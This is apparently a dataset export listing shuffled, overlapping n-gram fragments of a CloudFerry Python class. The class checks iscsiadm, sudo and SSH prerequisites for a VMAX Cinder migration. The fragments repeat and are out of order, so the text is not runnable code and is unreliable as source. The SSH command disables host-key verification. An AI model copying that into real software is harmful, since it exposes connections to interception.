gt_bitmasks[gt_inds].unsqueeze(dim=1).to(dtype=pixel_embed.dtype) losses = {}\",\n \"= self.compute_mask_prob(pred_instances, pixel_embed, mask_feat_stride) pred_instances.pred_global_masks = mask_prob return pred_instances def compute_mask_prob(self, instances, pixel_embed,\"\n]","isConversational":false}}},{"rowIdx":1897,"cells":{"ngram":{"kind":"list like","value":["except local.LocalExecutionFailed: msg = (\"iscsiadm is not available on the local host. Please","and '%s'\", src_host, dst_host) rr = remote_runner.RemoteRunner(src_host, src_user) ssh_opts = ('-o UserKnownHostsFile=/dev/null '","KIND, either express or implied. # See the License for the specific language","Unless required by applicable law or agreed to in writing, software # distributed","LOG.info(\"Checking ssh connectivity between '%s' and '%s'\", src_host, dst_host) rr = remote_runner.RemoteRunner(src_host, src_user)","available on the local host. Please \" \"install iscsiadm tool on the node","iscsiadm is \" \"mandatory for migrations with EMC VMAX cinder backend\") LOG.error(msg) raise","is None: try: local.sudo('ls') except local.LocalExecutionFailed: msg = (\"CloudFerry is running as '{user}'","iSCSI cinder volume migration\"\"\" def _iscsiadm_is_installed_locally(self): LOG.info(\"Checking if iscsiadm tool is installed\") try:","def _ssh_connectivity_between_controllers(self): src_host = self.cfg.src.ssh_host src_user = self.cfg.src.ssh_user dst_host = self.cfg.dst.ssh_host dst_user =","specify password in \" \"`local_sudo_password` config option, or run \" \"CloudFerry as root","cinder backend\") LOG.error(msg) raise exception.AbortMigrationError(msg) def _check_local_sudo_password_set(self): current_user = getpass.getuser() if current_user !=","_ssh_connectivity_between_controllers(self): src_host = self.cfg.src.ssh_host src_user = self.cfg.src.ssh_user dst_host = self.cfg.dst.ssh_host dst_user = self.cfg.dst.ssh_user","import local from cloudferry.lib.utils import remote_runner LOG = logging.getLogger(__name__) class CheckVMAXPrerequisites(action.Action): \"\"\"This verifies","as root user.\").format(user=current_user) LOG.error(msg) raise exception.AbortMigrationError(msg) def _ssh_connectivity_between_controllers(self): src_host = self.cfg.src.ssh_host src_user =","self.cfg.src.ssh_host src_user = self.cfg.src.ssh_user dst_host = self.cfg.dst.ssh_host dst_user = self.cfg.dst.ssh_user LOG.info(\"Checking ssh connectivity","\" \"'{ssh_cmd}' from '{src_host}' node\") msg = msg.format(src_host=src_host, dst_host=dst_host, ssh_cmd=cmd) LOG.error(msg) raise exception.AbortMigrationError(msg)","this file except in compliance with the License. # You may obtain a","' '-o StrictHostKeyChecking=no') cmd = \"ssh {opts} {user}@{host} 'echo ok'\".format(opts=ssh_opts, user=dst_user, host=dst_host) try:","cinder backend for migration. iscsiadm is \" \"mandatory for migrations with EMC VMAX","remote_runner.RemoteExecutionError: msg = (\"No ssh connectivity between source host '{src_host}' and \" \"destination","tool is installed\") try: local.run('iscsiadm --help &>/dev/null') except local.LocalExecutionFailed: msg = (\"iscsiadm is","ANY KIND, either express or implied. # See the License for the specific","except remote_runner.RemoteExecutionError: msg = (\"No ssh connectivity between source host '{src_host}' and \"","= (\"iscsiadm is not available on the local host. Please \" \"install iscsiadm","seem to be configured on \" \"current host. Please either specify password in","if iscsiadm tool is installed\") try: local.run('iscsiadm --help &>/dev/null') except local.LocalExecutionFailed: msg =","raise exception.AbortMigrationError(msg) def _check_local_sudo_password_set(self): current_user = getpass.getuser() if current_user != 'root' and \\","specific language governing permissions and # limitations under the License. import getpass import","= self.cfg.dst.ssh_user LOG.info(\"Checking ssh connectivity between '%s' and '%s'\", src_host, dst_host) rr =","WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See","src_host = self.cfg.src.ssh_host src_user = self.cfg.src.ssh_user dst_host = self.cfg.dst.ssh_host dst_user = self.cfg.dst.ssh_user LOG.info(\"Checking","the local host. Please \" \"install iscsiadm tool on the node you running","IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or","src_user) ssh_opts = ('-o UserKnownHostsFile=/dev/null ' '-o StrictHostKeyChecking=no') cmd = \"ssh {opts} {user}@{host}","OF ANY KIND, either express or implied. # See the License for the","Copyright 2016 Mirantis Inc. # # Licensed under the Apache License, Version 2.0","from cloudferry.lib.base.action import action from cloudferry.lib.utils import local from cloudferry.lib.utils import remote_runner LOG","between '%s' and '%s'\", src_host, dst_host) rr = remote_runner.RemoteRunner(src_host, src_user) ssh_opts = ('-o","import getpass import logging from cloudferry.lib.base import exception from cloudferry.lib.base.action import action from","not seem to be configured on \" \"current host. Please either specify password","from '{src_host}' node\") msg = msg.format(src_host=src_host, dst_host=dst_host, ssh_cmd=cmd) LOG.error(msg) raise exception.AbortMigrationError(msg) def run(self,","\"ssh {opts} {user}@{host} 'echo ok'\".format(opts=ssh_opts, user=dst_user, host=dst_host) try: rr.run(cmd) except remote_runner.RemoteExecutionError: msg =","with EMC VMAX cinder backend\") LOG.error(msg) raise exception.AbortMigrationError(msg) def _check_local_sudo_password_set(self): current_user = getpass.getuser()","'echo ok'\".format(opts=ssh_opts, user=dst_user, host=dst_host) try: rr.run(cmd) except remote_runner.RemoteExecutionError: msg = (\"No ssh connectivity","prerequisites required for NFS to VMAX iSCSI cinder volume migration\"\"\" def _iscsiadm_is_installed_locally(self): LOG.info(\"Checking","msg = (\"iscsiadm is not available on the local host. Please \" \"install","run \" \"'{ssh_cmd}' from '{src_host}' node\") msg = msg.format(src_host=src_host, dst_host=dst_host, ssh_cmd=cmd) LOG.error(msg) raise","node\") msg = msg.format(src_host=src_host, dst_host=dst_host, ssh_cmd=cmd) LOG.error(msg) raise exception.AbortMigrationError(msg) def run(self, **kwargs): if","software # distributed under the License is distributed on an \"AS IS\" BASIS,","migration\"\"\" def _iscsiadm_is_installed_locally(self): LOG.info(\"Checking if iscsiadm tool is installed\") try: local.run('iscsiadm --help &>/dev/null')","= self.cfg.src.ssh_user dst_host = self.cfg.dst.ssh_host dst_user = self.cfg.dst.ssh_user LOG.info(\"Checking ssh connectivity between '%s'","\" \"mandatory for migrations with EMC VMAX cinder backend\") LOG.error(msg) raise exception.AbortMigrationError(msg) def","# # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to","\"\"\"This verifies prerequisites required for NFS to VMAX iSCSI cinder volume migration\"\"\" def","exception from cloudferry.lib.base.action import action from cloudferry.lib.utils import local from cloudferry.lib.utils import remote_runner","correct configuration on these nodes. To verify run \" \"'{ssh_cmd}' from '{src_host}' node\")","EMC VMAX cinder backend\") LOG.error(msg) raise exception.AbortMigrationError(msg) def _check_local_sudo_password_set(self): current_user = getpass.getuser() if","under the License is distributed on an \"AS IS\" BASIS, # WITHOUT WARRANTIES","the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law","LOG.error(msg) raise exception.AbortMigrationError(msg) def run(self, **kwargs): if self.cfg.dst_storage.backend != 'iscsi-vmax': return self._iscsiadm_is_installed_locally() self._ssh_connectivity_between_controllers()","import action from cloudferry.lib.utils import local from cloudferry.lib.utils import remote_runner LOG = logging.getLogger(__name__)","user, but \" \"passwordless sudo does not seem to be configured on \"","in \" \"`local_sudo_password` config option, or run \" \"CloudFerry as root user.\").format(user=current_user) LOG.error(msg)","\"passwordless sudo does not seem to be configured on \" \"current host. Please","\"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express","current_user != 'root' and \\ self.cfg.migrate.local_sudo_password is None: try: local.sudo('ls') except local.LocalExecutionFailed: msg","required by applicable law or agreed to in writing, software # distributed under","ssh_cmd=cmd) LOG.error(msg) raise exception.AbortMigrationError(msg) def run(self, **kwargs): if self.cfg.dst_storage.backend != 'iscsi-vmax': return self._iscsiadm_is_installed_locally()","have keys \" \"and correct configuration on these nodes. To verify run \"","applicable law or agreed to in writing, software # distributed under the License","self.cfg.dst.ssh_user LOG.info(\"Checking ssh connectivity between '%s' and '%s'\", src_host, dst_host) rr = remote_runner.RemoteRunner(src_host,","or agreed to in writing, software # distributed under the License is distributed","CONDITIONS OF ANY KIND, either express or implied. # See the License for","import remote_runner LOG = logging.getLogger(__name__) class CheckVMAXPrerequisites(action.Action): \"\"\"This verifies prerequisites required for NFS","\"CloudFerry as root user.\").format(user=current_user) LOG.error(msg) raise exception.AbortMigrationError(msg) def _ssh_connectivity_between_controllers(self): src_host = self.cfg.src.ssh_host src_user","\"install iscsiadm tool on the node you running on or \" \"choose other","--help &>/dev/null') except local.LocalExecutionFailed: msg = (\"iscsiadm is not available on the local","UserKnownHostsFile=/dev/null ' '-o StrictHostKeyChecking=no') cmd = \"ssh {opts} {user}@{host} 'echo ok'\".format(opts=ssh_opts, user=dst_user, host=dst_host)","(\"No ssh connectivity between source host '{src_host}' and \" \"destination host '{dst_host}'. Make","under the Apache License, Version 2.0 (the \"License\"); # you may not use","and \\ self.cfg.migrate.local_sudo_password is None: try: local.sudo('ls') except local.LocalExecutionFailed: msg = (\"CloudFerry is","writing, software # distributed under the License is distributed on an \"AS IS\"","keys \" \"and correct configuration on these nodes. To verify run \" \"'{ssh_cmd}'","You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 #","= \"ssh {opts} {user}@{host} 'echo ok'\".format(opts=ssh_opts, user=dst_user, host=dst_host) try: rr.run(cmd) except remote_runner.RemoteExecutionError: msg","on the local host. Please \" \"install iscsiadm tool on the node you","Mirantis Inc. # # Licensed under the Apache License, Version 2.0 (the \"License\");","License. # You may obtain a copy of the License at # #","try: local.sudo('ls') except local.LocalExecutionFailed: msg = (\"CloudFerry is running as '{user}' user, but","self.cfg.src.ssh_user dst_host = self.cfg.dst.ssh_host dst_user = self.cfg.dst.ssh_user LOG.info(\"Checking ssh connectivity between '%s' and","host '{src_host}' and \" \"destination host '{dst_host}'. Make sure you have keys \"","not available on the local host. Please \" \"install iscsiadm tool on the","\"`local_sudo_password` config option, or run \" \"CloudFerry as root user.\").format(user=current_user) LOG.error(msg) raise exception.AbortMigrationError(msg)","compliance with the License. # You may obtain a copy of the License","StrictHostKeyChecking=no') cmd = \"ssh {opts} {user}@{host} 'echo ok'\".format(opts=ssh_opts, user=dst_user, host=dst_host) try: rr.run(cmd) except","for the specific language governing permissions and # limitations under the License. import","of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable","= self.cfg.dst.ssh_host dst_user = self.cfg.dst.ssh_user LOG.info(\"Checking ssh connectivity between '%s' and '%s'\", src_host,","configured on \" \"current host. Please either specify password in \" \"`local_sudo_password` config","CheckVMAXPrerequisites(action.Action): \"\"\"This verifies prerequisites required for NFS to VMAX iSCSI cinder volume migration\"\"\"","not use this file except in compliance with the License. # You may","host. Please either specify password in \" \"`local_sudo_password` config option, or run \"","local.sudo('ls') except local.LocalExecutionFailed: msg = (\"CloudFerry is running as '{user}' user, but \"","License, Version 2.0 (the \"License\"); # you may not use this file except","\" \"`local_sudo_password` config option, or run \" \"CloudFerry as root user.\").format(user=current_user) LOG.error(msg) raise","distributed on an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY","permissions and # limitations under the License. import getpass import logging from cloudferry.lib.base","but \" \"passwordless sudo does not seem to be configured on \" \"current","ok'\".format(opts=ssh_opts, user=dst_user, host=dst_host) try: rr.run(cmd) except remote_runner.RemoteExecutionError: msg = (\"No ssh connectivity between","# you may not use this file except in compliance with the License.","be configured on \" \"current host. Please either specify password in \" \"`local_sudo_password`","agreed to in writing, software # distributed under the License is distributed on","src_host, dst_host) rr = remote_runner.RemoteRunner(src_host, src_user) ssh_opts = ('-o UserKnownHostsFile=/dev/null ' '-o StrictHostKeyChecking=no')","\"mandatory for migrations with EMC VMAX cinder backend\") LOG.error(msg) raise exception.AbortMigrationError(msg) def _check_local_sudo_password_set(self):","{opts} {user}@{host} 'echo ok'\".format(opts=ssh_opts, user=dst_user, host=dst_host) try: rr.run(cmd) except remote_runner.RemoteExecutionError: msg = (\"No","# limitations under the License. import getpass import logging from cloudferry.lib.base import exception","rr.run(cmd) except remote_runner.RemoteExecutionError: msg = (\"No ssh connectivity between source host '{src_host}' and","NFS to VMAX iSCSI cinder volume migration\"\"\" def _iscsiadm_is_installed_locally(self): LOG.info(\"Checking if iscsiadm tool","(the \"License\"); # you may not use this file except in compliance with","the specific language governing permissions and # limitations under the License. import getpass","action from cloudferry.lib.utils import local from cloudferry.lib.utils import remote_runner LOG = logging.getLogger(__name__) class","logging.getLogger(__name__) class CheckVMAXPrerequisites(action.Action): \"\"\"This verifies prerequisites required for NFS to VMAX iSCSI cinder","iscsiadm tool on the node you running on or \" \"choose other cinder","# Unless required by applicable law or agreed to in writing, software #","by applicable law or agreed to in writing, software # distributed under the","configuration on these nodes. To verify run \" \"'{ssh_cmd}' from '{src_host}' node\") msg","copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by","as '{user}' user, but \" \"passwordless sudo does not seem to be configured","run \" \"CloudFerry as root user.\").format(user=current_user) LOG.error(msg) raise exception.AbortMigrationError(msg) def _ssh_connectivity_between_controllers(self): src_host =","governing permissions and # limitations under the License. import getpass import logging from","'{dst_host}'. Make sure you have keys \" \"and correct configuration on these nodes.","Inc. # # Licensed under the Apache License, Version 2.0 (the \"License\"); #","on \" \"current host. Please either specify password in \" \"`local_sudo_password` config option,","= ('-o UserKnownHostsFile=/dev/null ' '-o StrictHostKeyChecking=no') cmd = \"ssh {opts} {user}@{host} 'echo ok'\".format(opts=ssh_opts,","dst_host = self.cfg.dst.ssh_host dst_user = self.cfg.dst.ssh_user LOG.info(\"Checking ssh connectivity between '%s' and '%s'\",","file except in compliance with the License. # You may obtain a copy","# Copyright 2016 Mirantis Inc. # # Licensed under the Apache License, Version","(\"iscsiadm is not available on the local host. Please \" \"install iscsiadm tool","user=dst_user, host=dst_host) try: rr.run(cmd) except remote_runner.RemoteExecutionError: msg = (\"No ssh connectivity between source","License for the specific language governing permissions and # limitations under the License.","you have keys \" \"and correct configuration on these nodes. To verify run","\"choose other cinder backend for migration. iscsiadm is \" \"mandatory for migrations with","from cloudferry.lib.utils import remote_runner LOG = logging.getLogger(__name__) class CheckVMAXPrerequisites(action.Action): \"\"\"This verifies prerequisites required","under the License. import getpass import logging from cloudferry.lib.base import exception from cloudferry.lib.base.action","cmd = \"ssh {opts} {user}@{host} 'echo ok'\".format(opts=ssh_opts, user=dst_user, host=dst_host) try: rr.run(cmd) except remote_runner.RemoteExecutionError:","to in writing, software # distributed under the License is distributed on an","import exception from cloudferry.lib.base.action import action from cloudferry.lib.utils import local from cloudferry.lib.utils import","implied. # See the License for the specific language governing permissions and #","\\ self.cfg.migrate.local_sudo_password is None: try: local.sudo('ls') except local.LocalExecutionFailed: msg = (\"CloudFerry is running","\"License\"); # you may not use this file except in compliance with the","obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless","iscsiadm tool is installed\") try: local.run('iscsiadm --help &>/dev/null') except local.LocalExecutionFailed: msg = (\"iscsiadm","LOG.error(msg) raise exception.AbortMigrationError(msg) def _ssh_connectivity_between_controllers(self): src_host = self.cfg.src.ssh_host src_user = self.cfg.src.ssh_user dst_host =","'%s'\", src_host, dst_host) rr = remote_runner.RemoteRunner(src_host, src_user) ssh_opts = ('-o UserKnownHostsFile=/dev/null ' '-o","2016 Mirantis Inc. # # Licensed under the Apache License, Version 2.0 (the","ssh connectivity between source host '{src_host}' and \" \"destination host '{dst_host}'. Make sure","or implied. # See the License for the specific language governing permissions and","node you running on or \" \"choose other cinder backend for migration. iscsiadm","current_user = getpass.getuser() if current_user != 'root' and \\ self.cfg.migrate.local_sudo_password is None: try:","Apache License, Version 2.0 (the \"License\"); # you may not use this file","cloudferry.lib.base.action import action from cloudferry.lib.utils import local from cloudferry.lib.utils import remote_runner LOG =","OR CONDITIONS OF ANY KIND, either express or implied. # See the License","may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # #","_check_local_sudo_password_set(self): current_user = getpass.getuser() if current_user != 'root' and \\ self.cfg.migrate.local_sudo_password is None:","dst_user = self.cfg.dst.ssh_user LOG.info(\"Checking ssh connectivity between '%s' and '%s'\", src_host, dst_host) rr","http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing,","in writing, software # distributed under the License is distributed on an \"AS","(\"CloudFerry is running as '{user}' user, but \" \"passwordless sudo does not seem","host '{dst_host}'. Make sure you have keys \" \"and correct configuration on these","limitations under the License. import getpass import logging from cloudferry.lib.base import exception from","verifies prerequisites required for NFS to VMAX iSCSI cinder volume migration\"\"\" def _iscsiadm_is_installed_locally(self):","config option, or run \" \"CloudFerry as root user.\").format(user=current_user) LOG.error(msg) raise exception.AbortMigrationError(msg) def","is running as '{user}' user, but \" \"passwordless sudo does not seem to","between source host '{src_host}' and \" \"destination host '{dst_host}'. Make sure you have","to be configured on \" \"current host. Please either specify password in \"","# See the License for the specific language governing permissions and # limitations","the License is distributed on an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR","running on or \" \"choose other cinder backend for migration. iscsiadm is \"","migrations with EMC VMAX cinder backend\") LOG.error(msg) raise exception.AbortMigrationError(msg) def _check_local_sudo_password_set(self): current_user =","verify run \" \"'{ssh_cmd}' from '{src_host}' node\") msg = msg.format(src_host=src_host, dst_host=dst_host, ssh_cmd=cmd) LOG.error(msg)","&>/dev/null') except local.LocalExecutionFailed: msg = (\"iscsiadm is not available on the local host.","remote_runner LOG = logging.getLogger(__name__) class CheckVMAXPrerequisites(action.Action): \"\"\"This verifies prerequisites required for NFS to","try: local.run('iscsiadm --help &>/dev/null') except local.LocalExecutionFailed: msg = (\"iscsiadm is not available on","or run \" \"CloudFerry as root user.\").format(user=current_user) LOG.error(msg) raise exception.AbortMigrationError(msg) def _ssh_connectivity_between_controllers(self): src_host","from cloudferry.lib.base import exception from cloudferry.lib.base.action import action from cloudferry.lib.utils import local from","VMAX iSCSI cinder volume migration\"\"\" def _iscsiadm_is_installed_locally(self): LOG.info(\"Checking if iscsiadm tool is installed\")","Make sure you have keys \" \"and correct configuration on these nodes. To","LOG = logging.getLogger(__name__) class CheckVMAXPrerequisites(action.Action): \"\"\"This verifies prerequisites required for NFS to VMAX","the Apache License, Version 2.0 (the \"License\"); # you may not use this","you may not use this file except in compliance with the License. #","tool on the node you running on or \" \"choose other cinder backend","and \" \"destination host '{dst_host}'. Make sure you have keys \" \"and correct","def _iscsiadm_is_installed_locally(self): LOG.info(\"Checking if iscsiadm tool is installed\") try: local.run('iscsiadm --help &>/dev/null') except","use this file except in compliance with the License. # You may obtain","= (\"No ssh connectivity between source host '{src_host}' and \" \"destination host '{dst_host}'.","on or \" \"choose other cinder backend for migration. iscsiadm is \" \"mandatory","# Licensed under the Apache License, Version 2.0 (the \"License\"); # you may","from cloudferry.lib.utils import local from cloudferry.lib.utils import remote_runner LOG = logging.getLogger(__name__) class CheckVMAXPrerequisites(action.Action):","exception.AbortMigrationError(msg) def _check_local_sudo_password_set(self): current_user = getpass.getuser() if current_user != 'root' and \\ self.cfg.migrate.local_sudo_password","you running on or \" \"choose other cinder backend for migration. iscsiadm is","backend for migration. iscsiadm is \" \"mandatory for migrations with EMC VMAX cinder","these nodes. To verify run \" \"'{ssh_cmd}' from '{src_host}' node\") msg = msg.format(src_host=src_host,","= (\"CloudFerry is running as '{user}' user, but \" \"passwordless sudo does not","sudo does not seem to be configured on \" \"current host. Please either","rr = remote_runner.RemoteRunner(src_host, src_user) ssh_opts = ('-o UserKnownHostsFile=/dev/null ' '-o StrictHostKeyChecking=no') cmd =","'%s' and '%s'\", src_host, dst_host) rr = remote_runner.RemoteRunner(src_host, src_user) ssh_opts = ('-o UserKnownHostsFile=/dev/null","2.0 (the \"License\"); # you may not use this file except in compliance","self.cfg.dst.ssh_host dst_user = self.cfg.dst.ssh_user LOG.info(\"Checking ssh connectivity between '%s' and '%s'\", src_host, dst_host)","on these nodes. To verify run \" \"'{ssh_cmd}' from '{src_host}' node\") msg =","Please either specify password in \" \"`local_sudo_password` config option, or run \" \"CloudFerry","Please \" \"install iscsiadm tool on the node you running on or \"","WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the","is installed\") try: local.run('iscsiadm --help &>/dev/null') except local.LocalExecutionFailed: msg = (\"iscsiadm is not","migration. iscsiadm is \" \"mandatory for migrations with EMC VMAX cinder backend\") LOG.error(msg)","# # Unless required by applicable law or agreed to in writing, software","express or implied. # See the License for the specific language governing permissions","local.LocalExecutionFailed: msg = (\"iscsiadm is not available on the local host. Please \"","local host. Please \" \"install iscsiadm tool on the node you running on","getpass.getuser() if current_user != 'root' and \\ self.cfg.migrate.local_sudo_password is None: try: local.sudo('ls') except","\"and correct configuration on these nodes. To verify run \" \"'{ssh_cmd}' from '{src_host}'","sure you have keys \" \"and correct configuration on these nodes. To verify","either express or implied. # See the License for the specific language governing","for migrations with EMC VMAX cinder backend\") LOG.error(msg) raise exception.AbortMigrationError(msg) def _check_local_sudo_password_set(self): current_user","cloudferry.lib.utils import local from cloudferry.lib.utils import remote_runner LOG = logging.getLogger(__name__) class CheckVMAXPrerequisites(action.Action): \"\"\"This","VMAX cinder backend\") LOG.error(msg) raise exception.AbortMigrationError(msg) def _check_local_sudo_password_set(self): current_user = getpass.getuser() if current_user","Licensed under the Apache License, Version 2.0 (the \"License\"); # you may not","an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either","'{src_host}' node\") msg = msg.format(src_host=src_host, dst_host=dst_host, ssh_cmd=cmd) LOG.error(msg) raise exception.AbortMigrationError(msg) def run(self, **kwargs):","for NFS to VMAX iSCSI cinder volume migration\"\"\" def _iscsiadm_is_installed_locally(self): LOG.info(\"Checking if iscsiadm","'{src_host}' and \" \"destination host '{dst_host}'. Make sure you have keys \" \"and","'root' and \\ self.cfg.migrate.local_sudo_password is None: try: local.sudo('ls') except local.LocalExecutionFailed: msg = (\"CloudFerry","user.\").format(user=current_user) LOG.error(msg) raise exception.AbortMigrationError(msg) def _ssh_connectivity_between_controllers(self): src_host = self.cfg.src.ssh_host src_user = self.cfg.src.ssh_user dst_host","local.LocalExecutionFailed: msg = (\"CloudFerry is running as '{user}' user, but \" \"passwordless sudo","host=dst_host) try: rr.run(cmd) except remote_runner.RemoteExecutionError: msg = (\"No ssh connectivity between source host","the License. # You may obtain a copy of the License at #","other cinder backend for migration. iscsiadm is \" \"mandatory for migrations with EMC","# distributed under the License is distributed on an \"AS IS\" BASIS, #","backend\") LOG.error(msg) raise exception.AbortMigrationError(msg) def _check_local_sudo_password_set(self): current_user = getpass.getuser() if current_user != 'root'","= msg.format(src_host=src_host, dst_host=dst_host, ssh_cmd=cmd) LOG.error(msg) raise exception.AbortMigrationError(msg) def run(self, **kwargs): if self.cfg.dst_storage.backend !=","is distributed on an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF","the node you running on or \" \"choose other cinder backend for migration.","exception.AbortMigrationError(msg) def _ssh_connectivity_between_controllers(self): src_host = self.cfg.src.ssh_host src_user = self.cfg.src.ssh_user dst_host = self.cfg.dst.ssh_host dst_user","LOG.error(msg) raise exception.AbortMigrationError(msg) def _check_local_sudo_password_set(self): current_user = getpass.getuser() if current_user != 'root' and","try: rr.run(cmd) except remote_runner.RemoteExecutionError: msg = (\"No ssh connectivity between source host '{src_host}'","source host '{src_host}' and \" \"destination host '{dst_host}'. Make sure you have keys","with the License. # You may obtain a copy of the License at","cloudferry.lib.base import exception from cloudferry.lib.base.action import action from cloudferry.lib.utils import local from cloudferry.lib.utils","\" \"and correct configuration on these nodes. To verify run \" \"'{ssh_cmd}' from","\" \"CloudFerry as root user.\").format(user=current_user) LOG.error(msg) raise exception.AbortMigrationError(msg) def _ssh_connectivity_between_controllers(self): src_host = self.cfg.src.ssh_host","# # Licensed under the Apache License, Version 2.0 (the \"License\"); # you","raise exception.AbortMigrationError(msg) def _ssh_connectivity_between_controllers(self): src_host = self.cfg.src.ssh_host src_user = self.cfg.src.ssh_user dst_host = self.cfg.dst.ssh_host","msg.format(src_host=src_host, dst_host=dst_host, ssh_cmd=cmd) LOG.error(msg) raise exception.AbortMigrationError(msg) def run(self, **kwargs): if self.cfg.dst_storage.backend != 'iscsi-vmax':","msg = (\"CloudFerry is running as '{user}' user, but \" \"passwordless sudo does","self.cfg.migrate.local_sudo_password is None: try: local.sudo('ls') except local.LocalExecutionFailed: msg = (\"CloudFerry is running as","import logging from cloudferry.lib.base import exception from cloudferry.lib.base.action import action from cloudferry.lib.utils import","\"current host. Please either specify password in \" \"`local_sudo_password` config option, or run","law or agreed to in writing, software # distributed under the License is","the License for the specific language governing permissions and # limitations under the","class CheckVMAXPrerequisites(action.Action): \"\"\"This verifies prerequisites required for NFS to VMAX iSCSI cinder volume","\"destination host '{dst_host}'. Make sure you have keys \" \"and correct configuration on","host. Please \" \"install iscsiadm tool on the node you running on or","on an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,","\" \"choose other cinder backend for migration. iscsiadm is \" \"mandatory for migrations","on the node you running on or \" \"choose other cinder backend for","connectivity between source host '{src_host}' and \" \"destination host '{dst_host}'. Make sure you","_iscsiadm_is_installed_locally(self): LOG.info(\"Checking if iscsiadm tool is installed\") try: local.run('iscsiadm --help &>/dev/null') except local.LocalExecutionFailed:","to VMAX iSCSI cinder volume migration\"\"\" def _iscsiadm_is_installed_locally(self): LOG.info(\"Checking if iscsiadm tool is","language governing permissions and # limitations under the License. import getpass import logging","option, or run \" \"CloudFerry as root user.\").format(user=current_user) LOG.error(msg) raise exception.AbortMigrationError(msg) def _ssh_connectivity_between_controllers(self):","!= 'root' and \\ self.cfg.migrate.local_sudo_password is None: try: local.sudo('ls') except local.LocalExecutionFailed: msg =","if current_user != 'root' and \\ self.cfg.migrate.local_sudo_password is None: try: local.sudo('ls') except local.LocalExecutionFailed:","is \" \"mandatory for migrations with EMC VMAX cinder backend\") LOG.error(msg) raise exception.AbortMigrationError(msg)","dst_host=dst_host, ssh_cmd=cmd) LOG.error(msg) raise exception.AbortMigrationError(msg) def run(self, **kwargs): if self.cfg.dst_storage.backend != 'iscsi-vmax': return","in compliance with the License. # You may obtain a copy of the","License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or","= self.cfg.src.ssh_host src_user = self.cfg.src.ssh_user dst_host = self.cfg.dst.ssh_host dst_user = self.cfg.dst.ssh_user LOG.info(\"Checking ssh","# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. #","at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed","dst_host) rr = remote_runner.RemoteRunner(src_host, src_user) ssh_opts = ('-o UserKnownHostsFile=/dev/null ' '-o StrictHostKeyChecking=no') cmd","See the License for the specific language governing permissions and # limitations under","BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.","a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required","# http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in","\"'{ssh_cmd}' from '{src_host}' node\") msg = msg.format(src_host=src_host, dst_host=dst_host, ssh_cmd=cmd) LOG.error(msg) raise exception.AbortMigrationError(msg) def","('-o UserKnownHostsFile=/dev/null ' '-o StrictHostKeyChecking=no') cmd = \"ssh {opts} {user}@{host} 'echo ok'\".format(opts=ssh_opts, user=dst_user,","cinder volume migration\"\"\" def _iscsiadm_is_installed_locally(self): LOG.info(\"Checking if iscsiadm tool is installed\") try: local.run('iscsiadm","connectivity between '%s' and '%s'\", src_host, dst_host) rr = remote_runner.RemoteRunner(src_host, src_user) ssh_opts =","To verify run \" \"'{ssh_cmd}' from '{src_host}' node\") msg = msg.format(src_host=src_host, dst_host=dst_host, ssh_cmd=cmd)","root user.\").format(user=current_user) LOG.error(msg) raise exception.AbortMigrationError(msg) def _ssh_connectivity_between_controllers(self): src_host = self.cfg.src.ssh_host src_user = self.cfg.src.ssh_user","\" \"install iscsiadm tool on the node you running on or \" \"choose","for migration. iscsiadm is \" \"mandatory for migrations with EMC VMAX cinder backend\")","ssh connectivity between '%s' and '%s'\", src_host, dst_host) rr = remote_runner.RemoteRunner(src_host, src_user) ssh_opts","ssh_opts = ('-o UserKnownHostsFile=/dev/null ' '-o StrictHostKeyChecking=no') cmd = \"ssh {opts} {user}@{host} 'echo","msg = (\"No ssh connectivity between source host '{src_host}' and \" \"destination host","\" \"current host. Please either specify password in \" \"`local_sudo_password` config option, or","local from cloudferry.lib.utils import remote_runner LOG = logging.getLogger(__name__) class CheckVMAXPrerequisites(action.Action): \"\"\"This verifies prerequisites","= remote_runner.RemoteRunner(src_host, src_user) ssh_opts = ('-o UserKnownHostsFile=/dev/null ' '-o StrictHostKeyChecking=no') cmd = \"ssh","\" \"destination host '{dst_host}'. Make sure you have keys \" \"and correct configuration","= logging.getLogger(__name__) class CheckVMAXPrerequisites(action.Action): \"\"\"This verifies prerequisites required for NFS to VMAX iSCSI","Version 2.0 (the \"License\"); # you may not use this file except in","except in compliance with the License. # You may obtain a copy of","getpass import logging from cloudferry.lib.base import exception from cloudferry.lib.base.action import action from cloudferry.lib.utils","License. import getpass import logging from cloudferry.lib.base import exception from cloudferry.lib.base.action import action","or \" \"choose other cinder backend for migration. iscsiadm is \" \"mandatory for","# You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0","may not use this file except in compliance with the License. # You","License is distributed on an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS","= getpass.getuser() if current_user != 'root' and \\ self.cfg.migrate.local_sudo_password is None: try: local.sudo('ls')","\" \"passwordless sudo does not seem to be configured on \" \"current host.","'-o StrictHostKeyChecking=no') cmd = \"ssh {opts} {user}@{host} 'echo ok'\".format(opts=ssh_opts, user=dst_user, host=dst_host) try: rr.run(cmd)","None: try: 